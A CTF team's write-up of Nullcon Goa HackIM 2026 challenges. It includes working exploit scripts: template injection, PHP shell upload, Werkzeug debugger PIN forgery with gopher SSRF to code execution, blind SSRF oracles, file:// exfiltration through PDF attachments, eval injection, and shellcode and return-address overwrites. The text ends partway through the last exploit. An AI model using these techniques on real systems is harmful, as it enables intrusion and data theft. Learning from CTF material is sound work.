Nullcon Goa HackIM 2026 CTF Write-up

Last weekend, our team participated in a CTF competition and finished in 2nd place after an intense and rewarding run.
This post is a write-up of the challenges we solved, the approaches we took, and the lessons we learned along the way.
Welcome
show description
ENO{welcome_to_nullcon_goa_ctf_2026!}
Web
WordPress Static Site Generator
ENO{PONGO2_T3MPl4T3_1NJ3cT1on_!s_Fun_To00!}
Accessing the web page, we can generate a static wordpress site using an xml. In the /generate api, we can send this response

Now if we experiment a little bit in the template field (here I chose an SSTI payload), we will be given with this response

We found information that this server is using the Pongo2 template. Now since Pongo2 supports the {% include %} tags, we can try to upload a payload like “{% include “/flag.txt” %}”, embed it in an html file, and send it to read the flag. Since the web frontend doesn’t allow uploading a .html file, we will use curl instead and convert it to a wordpress xml.

We can use the session from this response to get our sessionID

Since we know that our sessionID is f2e7d14e4b33f70a287c8fced5318499, then we can use that to execute our payload and reveal the flag

virus analyzer
ENO{R4C1NG_UPL04D5_4R3_FUN}
Accessing the web page, we can see that there is a place to upload a zip file. The server will then extract all the contents from our zip file and can be accessed under the /uploads/ url

Since from the server response we can see that it is running php, we can test using this simple payload to retrieve the flag.

By zipping the shell and uploading the zip file, we will get this response when we try to access the extracted file content in the web server

This is different from our previous observation, because now we are unable to access it. However, previously using the same method, I was able to fetch the flag just in time using the curl command
curl -s http://52.59.124.14:5008/uploads/260b9d39afec8430/shell.php 2>&1
This will output the flag
Meowy
ENO{w3rkz3ug_p1n_byp4ss_v1a_c00k13_f0rg3ry_l3ads_2_RCE!}
Here we are given a source code that was obfuscated, so there is not much we can do with that yet. Looking at the website’s source, we can see that there is an admin function here

This is odd, since the element for adminPanel itself is not included within the HTML code. By decoding the cookie session, we can see a field that says isAdmin: false

which most likely causes the adminPanel to not be visible from our ends. Changing the value to true right away, still does not show the adminPanel. This is possibly because we haven’t signed the cookie session yet.
Going back to the obfuscated source code that is given, we know that this server is using flask, and it is generating a random english word with at least 12 letters as a secret key to sign it.

We need this secret key if we want to modify any of the values in our cookie session so that it is valid. Since it gave some major key takeaways on the possible value of the secret key, we can try to bruteforce it.

Here we find the secret key to be ‘brownistical’. Next, let’s try to forge our newly modified cookie session that allows us to get admin access.

Using this new session, we have unlocked the admin panel. Going back to the obfuscated source code, we notice that it was using pycurl, so that is possibly used in this fetching mechanism. Testing out some payloads, it was found that we can do SSRF using this fetching feature.

However, when trying to access the flag, we are unable to

Going back to the server’s response, we notice that it was using werkzeug, and here we can see that the console link is open, but it is restricted

We already have admin access, we just need to hit it from the localhost using the fetching system. However, we are yet blocked again, since we need a pin as it can be seen from this response
<!doctype html>
<html lang=en>
<head>
<title>Console // Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css">
<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script>
var CONSOLE_MODE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "aBCCW9bJLfWo4mtzFwSn";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>Interactive Console</h1>
<div class="explanation">
In this console you can execute Python expressions in the context of the
application. The initial namespace was created by the debugger automatically.
</div>
<div class="console"><div class="inner">The Console requires JavaScript.</div></div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>
<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>
Since we have access to the file system, we can enumerate through it until we find the algorithm on how a pin number is generated
file:///usr/local/lib/python3.11/site-packages/werkzeug/debug/init.py
Basically what we need is this information
| Data | SSRF Payload | Value |
|---|---|---|
| Username | file:///etc/passwd | ctfplayer |
| Module name | Known | flask.app |
| App class name | Known | Flask |
| Module file path | Known | /usr/local/lib/python3.11/site-packages/flask/app.py |
| MAC address | file:///sys/class/net/eth0/address | 66:73:24:27:39:33 (int: 112644713822515) |
| Machine ID | file:///etc/machine-id | c8f5e9d2a1b3c4d5e6f7a8b9c0d1e2f3 |
| Cgroup | file:///proc/self/cgroup | 0::/ |
Now using this script we can generate out pin number
import hashlib
import time
from itertools import chain
probably_public_bits = [
'ctfplayer', # username
'flask.app', # modname
'Flask', # app class name
'/usr/local/lib/python3.11/site-packages/flask/app.py', # mod file
]
private_bits = [
'112644713822515', # MAC as int string
b'c8f5e9d2a1b3c4d5e6f7a8b9c0d1e2f3', # machine-id (bytes)
]
h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode()
h.update(bit)
h.update(b"cookiesalt")
cookie_name = f"__wzd{h.hexdigest()[:20]}"
print(cookie_name)
h.update(b"pinsalt")
num = f"{int(h.hexdigest(), 16):09d}"[:9]
pin = "-".join(num[x:x+3] for x in range(0, 9, 3))
print(pin)
# Forge the cookie value
pin_hash = hashlib.sha1(f"{pin} added salt".encode()).hexdigest()[:12]
ts = int(time.time())
cookie_value = f"{ts}|{pin_hash}"
print(cookie_value)
Now we can create our exploit code by utilizing gopher to send these as raw data
import requests
from urllib.parse import quote
import time
import hashlib
# Forged admin session
admin_session = 'eyJpc19hZG1pbiI6dHJ1ZX0.aYguKg.yW7r4oEYOGvgYwZp-r1tP9YEBcA'
# PIN cookie
pin = '447-653-294'
cookie_name = '__wzd8fe6343c0faf4f031d62'
pin_hash = hashlib.sha1(f'{pin} added salt'.encode()).hexdigest()[:12]
ts = int(time.time())
cookie_value = f'{ts}|{pin_hash}'
# Debugger secret (from /console page source)
secret = 'aBCCW9bJLfWo4mtzFwSn'
# Python command to execute
cmd = "__import__('os').popen('/readflag').read()"
cmd_encoded = quote(cmd)
# Build raw HTTP request via gopher
path = f'/?__debugger__=yes&cmd={cmd_encoded}&frm=0&s={secret}'
http_req = (
f'GET {path} HTTP/1.1\\r\\n'
f'Host: 127.0.0.1:5000\\r\\n'
f'Cookie: {cookie_name}={cookie_value}\\r\\n'
f'Connection: close\\r\\n'
f'\\r\\n'
)
gopher_url = f'gopher://127.0.0.1:5000/_{quote(http_req, safe="")}'
# Send via SSRF
session = requests.Session()
session.cookies.set('session', admin_session)
resp = session.post('<http://52.59.124.14:5004/fetch>', data={'url': gopher_url})
print(resp.text)
Executing the program will give us the flag

Pasty
ENO{cr3at1v3_cr7pt0_c0nstruct5_cr4sh_c4rd5}
In the sig.php file, there is a signature algorithm. This signature algorithm has a critical structural flaw.
Key vulnerability: Key block is reversible. Reversing the signature formula:
Block 0: m[p0] = sig[0:8] ⊕ h[0:8] Block i: m[pi] = sig[s:s+8] ⊕ sig[s-8:s] ⊕ h[s:s+8]
Knowing data, we can compute h = SHA256(data), and sig is provided by the server in the URL. Therefore, a single valid (data, sig) pair is all that is needed to reverse the key block used. So, if we collect just two signatures, we can recover the three key blocks and forge signatures on the data.
First I create paste using “123” data like blow.

data = 123
id = efb6c49e5fb9f65b
sig = 5d6103ca0732a1278ec99ff9a0e9181c95e086c3053f1d3a8e98a4cd37c0248f
Then, the data being signed is the URL’s id value. The key block is reversed for each signature. Analysis of Paste 1:
SHA256("efb6c49e5fb9f65b") = 65f8e948fb26ecad 1fac57092ebbe8fb 23b0f3b859c248ac 23e1c88cceeb743f
| block | h[s] | p_idx | Recovered Key Block |
|---|---|---|---|
| 0 | 0x65 | 2 | m[2] = 3899ea82fc144d8a |
| 1 | 0x1f | 1 | m[1] = cc04cb3a896051c0 |
| 2 | 0x23 | 2 | m[2] = 3899ea82fc144d8a ✓ check |
| 3 | 0x23 | 2 | m[2] = 3899ea82fc144d8a ✓ check |
And, we analysis one more paste.
data = paste
id = 4a0d41e0b3a564be
sig = bb6ad03efa507eab6a82eb1c692dfad60b0d199e3bb4a8665e08d524fb3ceb66
SHA256("4a0d41e0b3a564be") = 83f33abc06443321 e971d1a06f69c9f7 59161800ae8d1f3a d87269adf2866f92
| block | h[s] | p_idx | Recovered Key Block |
|---|---|---|---|
| 0 | 0x83 | 2 | m[2] = 3899ea82fc144d8a ✓ |
| 1 | 0xe9 | 2 | m[2] = 3899ea82fc144d8a ✓ |
| 2 | 0x59 | 2 | m[2] = 3899ea82fc144d8a ✓ |
| 3 | 0xd8 | 0 | m[0] = 8d77a517320e2c92 |
So we recovered all the Key blocks.
| key block | value |
|---|---|
| m[0] | 8d77a517320e2c92 |
| m[1] | cc04cb3a896051c0 |
| m[2] | 3899ea82fc144d8a |
The next step is signature forgery. Target id is “flag”.
SHA256("flag") = 807d0fbcae7c4b20 518d4d85664f6820 aafdf936104122c5 073e7744c46c4b87
And then, each block select the key block.
- block 0: h[0]=0x80, 0x80 % 3 = 2 → m[2]
- block 1: h[8]=0x51, 0x51 % 3 = 0 → m[0]
- block 2: h[16]=0xaa, 0xaa % 3 = 2 → m[2]
- block 3: h[24]=0x07, 0x07 % 3 = 1 → m[1]
Since all three key blocks are secured, signature calculation is performed.
forged_sig = ""
for i in range(4):
s = i * 8
h_block = h_flag[s:s+8]
key_block = m[h_flag[s] % 3]
if i == 0:
block = XOR(h_block, key_block)
else:
block = XOR(XOR(h_block, key_block), prev_block)
forged_sig += block
By synthesizing all the information and accessing it with a forged signature, you can obtain the flag.

Web 2 Doc 1
ENO{weasy_pr1nt_can_h4v3_bl1nd_ssrf_OK!}
Analysis
In v1, the source code (snippet.py) for the /admin/flag endpoint is provided:
@app.route('/admin/flag')
def admin_flag():
x_fetcher = request.headers.get('X-Fetcher', '').lower()
if x_fetcher == 'internal':
return f"""<html><h1>NOT OK</h1></html>""", 403
if not is_localhost(request.remote_addr):
return f"""<html><h1>NOT OK</h1></html>""", 403
index = request.args.get('i', 0, type=int)
char = request.args.get('c', '', type=str)
if index < 0 or index >= len(FLAG):
return f"""<html><h1>NOT OK</h1></html>""", 404
if len(char) != 1:
return f"""<html><h1>NOT OK</h1></html>""", 404
if FLAG[index] != char:
return f"""<html><h1>NOT OK</h1></html>""", 404
return f"""<html><h1>OK</h1></html>"""
Key Features of this Endpoint:
- Header Check: Returns a 403 Forbidden if the X-Fetcher: Internal header is present.
- IP Restriction: Returns a 403 Forbidden if the remote_addr is not localhost.
- Blind Oracle Logic: It takes query parameters i (index) and c (character). If FLAG[i] == c, it returns a 200 OK; otherwise, it returns a 404 Not Found.
In summary, you cannot retrieve the entire flag at once. Instead, it acts as a Blind Oracle where you must verify the flag one character at a time.
Core Vulnerability
The app’s URL fetch logic (fetch_url_with_limit) is as follows:
def fetch_url_with_limit(url, max_size=1024*1024, timeout=10):
headers = {'X-Fetcher': 'Internal'}
response = requests.get(url, timeout=timeout, headers=headers,
allow_redirects=False, verify=False, stream=True)
# ...
return content.decode('utf-8', errors='ignore')
- When directly fetching a URL entered by the user, the X-Fetcher: Internal header is attached and localhost access is blocked.
- However, when rendering the fetched HTML with HTML(string=html_content).write_pdf(), WeasyPrint’s internal URL fetcher fetches resources such as separately.
- WeasyPrint’s internal fetcher does not attach the X-Fetcher header, and since it runs on the same server (localhost:5000), the remote_addr becomes 127.0.0.1.
Therefore:
- App’s fetch → X-Fetcher: Internal header O, localhost blocked → Cannot access /admin/flag
- WeasyPrint’s fetch → X-Fetcher header X, remote_addr = 127.0.0.1 → Can access /admin/flag!
Blind Oracle + Attachment-based determination
WeasyPrint’s <link rel=”attachment”> behavior:
- If the URL returns HTTP 200 → Attached as an EmbeddedFile in the PDF
- If the URL returns HTTP 404 → Not attached Using this, one can determine if each character is correct through the PDF size or the existence of an EmbeddedFile.
Solution
Step 1: Oracle HTML generation
For each index i and candidate character c:
<html>
<head>
<link rel="attachment" href="<http://localhost:5000/admin/flag?i={i}&c={c}>">
</head>
<body><h1>t</h1></body>
</html>
Step 2: Serving via httpbin.org/base64 and requesting conversion
b64 = base64.b64encode(html.encode()).decode()
url = f"<https://httpbin.org/base64/{b64}>"
Submit this URL to the v1 converter.
Step 3: Determining the result from the PDF response
response = session.post(f"{TARGET}/convert", data={'url': url, 'captcha_answer': ans})
if b'EmbeddedFile' in response.content:
# FLAG[i] == c → 문자 확인!
Step 4: Full Automation Script
#!/usr/bin/env python3
import requests, base64, re, time
TARGET = "<http://52.59.124.14:5002>"
CHARSET = "abcdefghijklmnopqrstuvwxyz_0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!}"
def test_char(idx, char):
"""매 요청마다 새 세션을 생성하여 captcha 만료를 방지"""
s = requests.Session()
r = s.get(TARGET)
m = re.search(r'Math Challenge:\\s*(\\d+)\\s*([+\\-*/])\\s*(\\d+)\\s*=', r.text)
if not m:
return None
a, op, b = int(m.group(1)), m.group(2), int(m.group(3))
ans = {'+': a+b, '-': a-b, '*': a*b, '/': a//b}[op]
html = (f'<html><head><link rel="attachment" '
f'href="<http://localhost:5000/admin/flag?i={idx}&c={char}>">'
f'</head><body><h1>t</h1></body></html>')
b64 = base64.b64encode(html.encode()).decode()
r = s.post(f"{TARGET}/convert", data={
'url': f"<https://httpbin.org/base64/{b64}>",
'captcha_answer': str(ans)
}, timeout=30)
if r.status_code == 200 and b'%PDF' in r.content[:10]:
return b'EmbeddedFile' in r.content
return None
flag = "ENO{"
for idx in range(4, 80):
for char in CHARSET:
result = test_char(idx, char)
if result:
flag += char
print(f"[+] index{idx} = '{char}' →{flag}")
if char == '}':
print(f"\\nFLAG:{flag}")
exit()
break
It takes about 5 to 10 minutes, and the characters are extracted one by one:
[+] index 4 = 'w' → ENO{w
[+] index 5 = 'e' → ENO{we
[+] index 6 = 'a' → ENO{wea
[+] index 7 = 's' → ENO{weas
...
[+] index 38 = '!' → ENO{weasy_pr1nt_can_h4v3_bl1nd_ssrf_OK!
[+] index 39 = '}' → ENO{weasy_pr1nt_can_h4v3_bl1nd_ssrf_OK!}
Web 2 Doc 2
ENO{weasy_pr1nt_can_h4v3_f1l3s_1n_PDF_att4chment
v2
WeasyPrint, when processing the HTML <link rel=”attachment”> tag, embeds the file from the corresponding URL as an attachment within the PDF. Since it also supports the file:// scheme, local files on the server can be included in the PDF.
Analysis
In v2, the /admin/flag endpoint does not exist, and the /flag.txt file on the server must be read directly. The key is the PDF attachment feature of WeasyPrint 68.1.
When WeasyPrint processes the HTML <link rel=”attachment”> tag, it embeds the file from that URL into the PDF as an attachment. Because the file:// scheme is supported here, local files on the server can be included in the PDF.
Solution
Step 1: Writing Malicious HTML
<html>
<head>
<link rel="attachment" href="file:///flag.txt">
</head>
<body><h1>hello</h1></body>
</html>
Step 2: Serving HTML via httpbin.org
To bypass the app’s URL validation, use the httpbin.org/base64/ endpoint. This endpoint responds with Base64-encoded data as a text/html Content-Type.
import base64
html = '<html><head><link rel="attachment" href="file:///flag.txt"></head><body><h1>hello</h1></body></html>'
b64 = base64.b64encode(html.encode()).decode()
url = f"<https://httpbin.org/base64/{b64}>"
Step 3: Conversion and Flag Extraction
Submit the corresponding URL to the v2 converter, and /flag.txt will be included as an attachment in the generated PDF. You can open the attachment in a PDF viewer or extract it using Python.
CVE DB
ENO{This_1s_A_Tru3_S1mpl3_Ch4llenge_T0_Solv3_Congr4tz}
Overview
CVE DB is a web application that lets users search a CVE database. The search query is interpolated directly into a JavaScript regex literal inside a vm.runInNewContext() sandbox, allowing regex injection. By exploiting this, we can use a boolean oracle to extract the hidden product field of CVE-1337-1337, which contains the flag.
Reconnaissance
The application is an Express.js + EJS app at http://52.59.124.14:5000. Submitting a search query via POST to /search returns matching CVE entries. The rendered HTML shows id, date, description, and severity — but the product and vendor fields are commented out:
<!-- <div class="cve-product">TODO cve.product</div> -->
<!-- <div class="cve-vendor">TODO cve.vendor</div> -->
Searching for 1337 returns one result: CVE-1337-1337 with description “This CVE leaks some very confidential flag.” — a clear hint that the flag is in the hidden product field.
Vulnerability
Submitting / as the search query triggers a “database error”, while normal queries work fine. This indicates the query is interpolated into a regex literal via eval() or similar:
eval('/' + query + '/i') → eval('///i') → SyntaxError (// starts a comment)
Testing the comma operator confirms code injection:
Query: 1337/i,1,/.
Eval: /1337/i, 1, /./i → Works! Returns 1 result (CVE-1337-1337)
Understanding the Template
By extracting arguments.callee.toString() via boolean oracle, the server-side template was revealed:
function() {
return this.cveId.match(/QUERY/i) || this.description.match(/QUERY/i);
}
Key findings:
- The function runs inside vm.runInNewContext() — each CVE entry is evaluated separately with its fields (cveId, description, product, vendor, severity) as the sandbox’s this context.
- The query is interpolated twice (once for each .match() call).
- arguments.callee.caller is null — the function runs at the VM script’s top level.
- process, require, global are not available in the sandbox.
Exploitation Strategy
Injection Format
1337/i,(EXPRESSION),/.
This produces:
this.cveId.match(/1337/i, (EXPRESSION), /./i)
- /1337/i is used by .match() (only the first argument matters) — selects CVE-1337-1337
- (EXPRESSION) is evaluated as a side effect
- /./i closes the template’s trailing /i
Boolean Oracle
Using the ternary operator with null.x (which throws TypeError) as the false branch:
CONDITION ? 1 : null.x
- TRUE → no error → CVE-1337-1337 appears in results → response ~5500+ bytes
- FALSE → TypeError → “database error” → response ~5000 bytes
Since the eval runs per-entry, we need to avoid errors from other CVEs:
this.cveId.match(/1337/) ? CONDITION : 1
- For CVE-1337-1337: evaluates CONDITION
- For all other entries: returns
1(no error)
Character Extraction via Binary Search
For each character position pos of this.product:
1337/i,(this.cveId.match(/1337/)?this.product.charCodeAt(pos)>mid?1:null.x:1),/.
Binary search on the character code (ASCII 32–126) narrows each character in ~7 requests.
Exploit Script
#!/bin/bash
URL="<http://52.59.124.14:5000/search>"
RESULT="ENO{"
for pos in $(seq 4 53); do
low=32; high=126
while [ $low -lt $high ]; do
mid=$(( (low + high) / 2 ))
size=$(curl -s -o /dev/null -w '%{size_download}' \\
-X POST "$URL" -H 'Content-Type: application/json' \\
-d "{\\"query\\":\\"1337/i,(this.cveId.match(/1337/)?this.product.charCodeAt($pos)>$mid?1:null.x:1),/.\\"}")
if [ "$size" -gt 5200 ]; then
low=$((mid + 1))
else
high=$mid
fi
done
RESULT+=$(printf "\\\\$(printf '%03o' $low)")
done
echo "$RESULT"
PWN
atomizer
ENO{GIVE_ME_THE_RIGHT_AMOUNT_OF_ATOMS_TO_WIN}
Binary Overview
$ file atomizer
atomizer: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, not stripped
Simple statically linked binary. checksec result: – No PIE, No canary, NX disabled (mmap region is RWX)
Program Behavior Analysis
== BUG ATOMIZER ==
Mix drops of pesticide. Too much or too little and it won't spray.
>>> [69 bytes input]
[atomizer] *pssshhht* ... releasing your mixture.
[connection closes]
The server reads exactly 69 bytes (0x45), prints the “ok” message, and exits.
Reverse Engineering
Main Code Flow
_start:
; 1. Print intro banner
lea rsi, [intro]
mov edx, 0x57
call write1
; 2. mmap RWX buffer at 0x7770000
mov eax, 9 ; SYS_mmap
mov edi, 0x07770000 ; addr (fixed)
mov esi, 0x1000 ; size = 4096
mov edx, 7 ; PROT_READ|WRITE|EXEC
mov r10d, 0x32 ; MAP_PRIVATE|FIXED|ANONYMOUS
syscall
; 3. Print prompt, read 69 bytes into mmap buffer
; ... read loop until 0x45 bytes received ...
; 4. Print ok message
lea rsi, [ok_msg]
mov edx, 0x33
call write1
; 5. JMP to mmap buffer
jmp 0x7770084 ; <-- THE BUG!
The Bug: ORG 0 Misconfiguration
JMP instruction hex dump:
0x401083: e9 fc ff 76 07
JMP rel32 calculation: – Intended target (based on ORG 0): 0x88 + 0x776FFFC = 0x7770084 – Actual target (loaded at 0x401000): 0x401088 + 0x776FFFC = 0x7B71084
The binary was assembled with NASM ORG 0, but actually loaded at 0x401000. The relative offset of the JMP was calculated based on ORG 0, causing an overshoot of 0x401000.
Result: JMP jumps to unmapped address 0x7B71084 → SIGSEGV crash
Exploitation
Key Insight
Challenge description: “I hate it when something is not exactly the way I want it. So I just throw it away.”
The server allows the bug to be “fixed” by using the first 4 bytes of input as the JMP displacement.
Corrected JMP Offset Calculation
target = 0x7770000 # mmap buffer start
next_ip = 0x401088 # instruction after JMP
offset = target - next_ip # = 0x0736EF78
Little-endian: \x78\xEF\x36\x07
Exploit Strategy
- First 4 bytes: corrected JMP offset (78 EF 36 07) → redirect execution to mmap+0
- Remaining 65 bytes: shellcode (placed at mmap+0)
- Corrected JMP executes our shellcode
Persistent Patch
Interestingly, once the JMP is patched, the patch persists across connections. This suggests that the server modifies the binary on disk or runs as a persistent process.
Final Exploit
from pwn import *
HOST = '52.59.124.14'
PORT = 5020
# open("flag")/read/write shellcode
sc = b""
sc += b"\x31\xc0\x50" # xor eax,eax; push 0
sc += b"\x68\x66\x6c\x61\x67" # push "flag"
sc += b"\x48\x89\xe7" # mov rdi, rsp
sc += b"\x31\xf6" # xor esi, esi
sc += b"\xb0\x02" # mov al, 2 (SYS_open)
sc += b"\x0f\x05" # syscall
sc += b"\x89\xc7" # mov edi, eax
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\x31\xd2\xb2\xff" # xor edx,edx; mov dl, 255
sc += b"\x31\xc0" # xor eax, eax (SYS_read)
sc += b"\x0f\x05" # syscall
sc += b"\x89\xc2" # mov edx, eax
sc += b"\x31\xff\xff\xc7" # xor edi,edi; inc edi
sc += b"\x48\x89\xe6" # mov rsi, rsp
sc += b"\x31\xc0\xff\xc0" # xor eax,eax; inc eax (SYS_write)
sc += b"\x0f\x05" # syscall
sc += b"\x31\xff\xb0\x3c\x0f\x05" # exit(0)
payload = sc.ljust(69, b'\x90')
r = remote(HOST, PORT)
r.recvuntil(b'>>> ')
r.send(payload)
print(r.recvall(timeout=5))
# b'ENO{GIVE_ME_THE_RIGHT_AMOUNT_OF_ATOMS_TO_WIN}'
hashchain
ENO{h4sh_ch41n_jump_t0_v1ct0ry}
A 32-bit ELF binary takes user input, computes its MD5 hash into RWX memory, and then executes that memory as x86 code. The goal is to brute-force an input string whose MD5 hash forms a valid jmp rel32 instruction that lands in a pre-existing NOP sled, ultimately calling the win function to print the flag.
The binary mmaps two RWX regions and sets up the following layout:
0x40000000 hash_buf (0x640 bytes) - MD5 hashes stored here, executed as code
0x41000000 nop_sled (16MB) - filled with 0x90 (NOP)
0x41FFFFFA win gadget (6 bytes) - push 0x08049236; ret
Pseudocode of the main loop
for (int i = 0; i <= 99; i++) {
input = fgets(...);
if (strcmp(input, "doit") == 0) break;
MD5(input, strlen(input), hash_buf + i * 16);
}
((void(*)())hash_buf)(); // execute hash buffer as code
The jmp rel32 instruction is encoded as E9 xx xx xx xx (5 bytes). If the first 5 bytes of an MD5 hash match this pattern with an offset that lands inside the NOP sled, execution slides into the win gadget.
A match is found in seconds by iterating integer strings through MD5.
Execution chain with payload “60314”
MD5("60314") = e9 28 19 02 01 ...
│
▼
0x40000000: jmp +0x01021928
│
▼
0x4102192D: NOP sled (slides forward)
│
▼
0x41FFFFFA: push 0x08049236; ret → win() → flag

import hashlib
import struct
import sys
from pwn import remote, log, context
context.log_level = "info"
# Memory layout constants
HASH_BUF = 0x40000000
JMP_NEXT = HASH_BUF + 5 # address after jmp rel32 instruction
NOP_SLED_START = 0x41000000
NOP_SLED_END = 0x41FFFFFA # win gadget location
# Required jmp rel32 offset range
OFFSET_MIN = NOP_SLED_START - JMP_NEXT # 0x00FFFFFB
OFFSET_MAX = NOP_SLED_END - JMP_NEXT # 0x01FFFFF5
def find_payload():
"""Brute-force a string whose MD5 starts with E9 xx xx xx xx (jmp rel32)
where the offset lands in the NOP sled."""
log.info(f"Brute-forcing jmp rel32 payload...")
log.info(f" Required offset range: {OFFSET_MIN:#010x} - {OFFSET_MAX:#010x}")
for i in range(100_000_000):
s = str(i)
digest = hashlib.md5(s.encode()).digest()
# First byte must be 0xE9 (jmp rel32)
if digest[0] != 0xE9:
continue
# Extract the 32-bit relative offset (little-endian)
offset = struct.unpack("<I", digest[1:5])[0]
# Check if offset lands in NOP sled
if OFFSET_MIN <= offset <= OFFSET_MAX:
target = JMP_NEXT + offset
log.success(f"Found payload: \\"{s}\\"")
log.success(f" MD5: {digest.hex()}")
log.success(f" jmp offset: {offset:#010x}")
log.success(f" Jump target: {target:#010x}")
return s
log.error("No payload found (this shouldn't happen)")
sys.exit(1)
def exploit(host, port):
payload = find_payload()
log.info(f"Connecting to {host}:{port}")
io = remote(host, int(port))
# Send the payload string (its MD5 hash becomes executable code)
io.sendline(payload.encode())
log.info(f"Sent payload: {payload}")
# Trigger execution of the hash buffer
io.sendline(b"doit")
log.info("Sent 'doit' to trigger execution")
# Receive the flag
try:
response = io.recvall(timeout=5)
print(response.decode(errors="replace"))
except Exception:
# Try line-by-line if recvall times out
while True:
try:
line = io.recvline(timeout=3)
print(line.decode(errors="replace"), end="")
except Exception:
break
io.close()
if __name__ == "__main__":
if len(sys.argv) < 3:
print(f"Usage: {sys.argv[0]} <host> <port>")
sys.exit(1)
exploit(sys.argv[1], sys.argv[2])
asan-bazar
ENO{COMPILING_WITH_ASAN_DOESNT_ALWAYS_MEAN_ITS_SAFE!!!}
Analysis
Binary Structure
The binary is a “Goblin Bazaar” themed program compiled with AddressSanitizer. Key user-defined functions:
| Function | Offset | Description |
|---|---|---|
main | 0xdbfc0 | Calls setvbuf and greeting() |
greeting | 0xdc060 | Main logic – reads name, manages ledger |
win | 0xdbed0 | execve(“/bin/cat”, [“/bin/cat”, “/flag”], NULL) |
read_u32 | 0xdc5e0 | Reads a decimal number from stdin |
Program Flow
=== GOBLIN BAZAAR (ASAN VERSION) ===
[bouncer] Halt! Sign the guestbook to enter.
Name: <user input - 127 bytes>
[bouncer] Hah! I'll announce you to the whole market:
<printf(username)> ← Format String Bug
[scribe] Welcome. Here's your item ledger entry:
"Item: Rusty Dagger | Note: ..."
[scribe] Choose where to start (slot index 0..128): ← slot
[scribe] Choose a tiny adjustment inside the slot (0..15): ← adjustment
[scribe] How many bytes of ink? (max 8): ← count
[scribe] Ink (raw bytes): <raw bytes>
→ read(0, ledger + slot*16 + adjustment, count) ← OOB Write
Vulnerability 1: Format String
// greeting() at 0xdc28d
printf(username); // username is user-controlled!
username is directly passed as the printf format string, allowing stack values to be leaked.
Vulnerability 2: Out-of-Bounds Write
The ledger buffer is 128 bytes (8 slots of 16 bytes), but the slot index is allowed from 0 to 128.
Maximum write offset = 128 * 16 + 15 = 2063 bytes
Ledger size = 128 bytes
The write occurs via the read() system call. This is the key point.
ASAN Internals & Bypass
ASAN Stack Frame Layout
ASAN surrounds stack variables with redzones to detect overflows:
frame_base + 0x000: [left redzone] 32 bytes shadow: f1 f1 f1 f1
frame_base + 0x020: [username] 128 bytes shadow: 00 (unpoisoned)
frame_base + 0x0A0: [mid redzone] 32 bytes shadow: f2 f2 f2 f2
frame_base + 0x0C0: [ledger] 128 bytes shadow: 00 (unpoisoned)
frame_base + 0x140: [right redzone] 32 bytes shadow: f3 f3 f3 f3
frame_base + 0x160: [end of ASAN frame]
... : [working area] 0xC0 bytes shadow: 00 (unpoisoned!)
... : [alignment/padding] shadow: 00
... : [saved rbx] shadow: 00
frame_base + 0x240: [saved rbp] shadow: 00
frame_base + 0x248: [return address] shadow: 00 ← TARGET
Why ASAN Doesn’t Catch This
ASAN read() interceptor behavior:
// compiler-rt/lib/sanitizer_common/sanitizer_common_interceptors.inc
INTERCEPTOR(SSIZE_T, read, int fd, void *buf, SIZE_T count) {
SSIZE_T res = REAL(read)(fd, buf, count); // 1. 실제 read 수행 (데이터 쓰기)
if (res > 0)
ASAN_WRITE_RANGE(ctx, buf, res); // 2. shadow memory 확인
return res;
}
ASAN_WRITE_RANGE calls __asan_region_is_poisoned() to check the shadow memory.
Key point: The return address location (frame_base + 0x248) is outside the ASAN frame!
- The ASAN frame shadow is only set for bytes 0~43 (frame_base + 0x000 ~ 0x15F)
- Return address shadow byte position: 0x248 / 8 = 73 → region not set by ASAN
- Default shadow value for the stack is 0x00 (unpoisoned)
- Therefore, read(0, ledger + 0x188, 8) succeeds without triggering an ASAN error
ledger (0xC0) return addr (0x248)
| |
v v
[...ledger data...][right_rz][.....unpoisoned stack.....][ret]
^^^^^^^^^
f3 f3 f3 f3 ← poisoned, but we SKIP over this!
Since detect_stack_use_after_return defaults to 0, the ASAN frame is allocated on the real stack, allowing the return address to be reached via relative offset from the ledger.
Exploit
Step 1: Leak PIE Base
# %8$p = greeting() function pointer stored in the ASAN frame
payload = b"%8$p"
# → 0x55XXXXXXXXX060 (PIE + 0xdc060)
pie_base = leaked_value - 0xdc060
Argument mapping in format string (x86-64):
%1$p ~ %5$p = rsi, rdx, rcx, r8, r9
%6$p = [rsp+0] = ASAN magic (0x41b58ab3)
%7$p = [rsp+8] = ASAN desc string ptr
%8$p = [rsp+16] = greeting() function ptr ← PIE leak
%10$p~ = username buffer 시작
%79$p = return address (PIE + 0xdc052)
Step 2: OOB Write to Return Address
offset = 0x248 - 0xC0 = 0x188 = 392
slot = 392 / 16 = 24
adjustment = 392 % 16 = 8
ink_count = 8
ink = pack("<Q", pie_base + 0xdbed0) # win() address
Step 3: Function Returns → win() Executes
When greeting() returns normally, it jumps to win() and executes execve(“/bin/cat”, [“/bin/cat”, “/flag”], NULL).
Exploit Code
#!/usr/bin/env python3
import socket, struct, time, re, sys
HOST, PORT = "52.59.124.14", 5030
def recvuntil(s, marker, timeout=5):
data = b""
s.settimeout(timeout)
while marker not in data:
chunk = s.recv(1)
if not chunk: break
data += chunk
return data
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
# 1. Format string leak
recvuntil(s, b"Name:")
s.send(b"%8$p\\n")
data = recvuntil(s, b"0..128):").decode()
pie_base = int(re.search(r'0x[0-9a-f]+', data).group(), 16) - 0xdc060
win = pie_base + 0xdbed0
